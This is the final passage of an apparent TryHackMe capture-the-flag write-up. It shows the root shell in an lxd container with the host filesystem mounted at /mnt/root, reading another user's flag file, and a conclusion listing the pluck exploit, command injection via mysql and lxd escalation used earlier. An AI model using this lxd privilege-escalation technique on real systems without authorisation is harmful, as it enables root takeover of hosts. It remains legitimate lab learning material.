<p>And last - start the container and shell to it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ lxc start mycontainer
$ lxc exec mycontainer /bin/sh
</code></pre></div></div>

<p>Now we are root in <code class="language-plaintext highlighter-rouge">lxd</code> container - go to <code class="language-plaintext highlighter-rouge">/mnt/root</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cd /mnt/root
</code></pre></div></div>

<p>And there we have it - the <code class="language-plaintext highlighter-rouge">/</code> directory of machine - get <code class="language-plaintext highlighter-rouge">/home/morpheus/morpheus_flag.txt</code> flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat home/morpheus/morpheus_flag.txt
[REDACTED]
</code></pre></div></div>

<p>And that’s it - machine pwned</p>

<h2 id="conclusion">Conclusion</h2>

<p>Solvning this machine was really fun - I’ve got pretty quickly through initial access and escalating to <code class="language-plaintext highlighter-rouge">death</code> was also a piece of cake for me. But with <code class="language-plaintext highlighter-rouge">morpheus</code> I had big problem</p>

<p>I was thinking how to do it, and I found the way - I actually started liking escalating via <code class="language-plaintext highlighter-rouge">lxd</code></p>

<p>I also liked the another one, but I am proud that I found the unintended way too</p>

<p>So, in there I’ve learned how te exploit <code class="language-plaintext highlighter-rouge">pluck</code> and practised my privilege escalation skills with files hidden in <code class="language-plaintext highlighter-rouge">/opt</code>, comand injection using data from <code class="language-plaintext highlighter-rouge">mysql</code> and <code class="language-plaintext highlighter-rouge">lxd</code></p>

<p>That’s it - see you in the next writeups</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[This is a fresh machine (while writing it was made today, I solved it 2 days after release, and I updated it 3 days after release)]]></summary></entry></feed>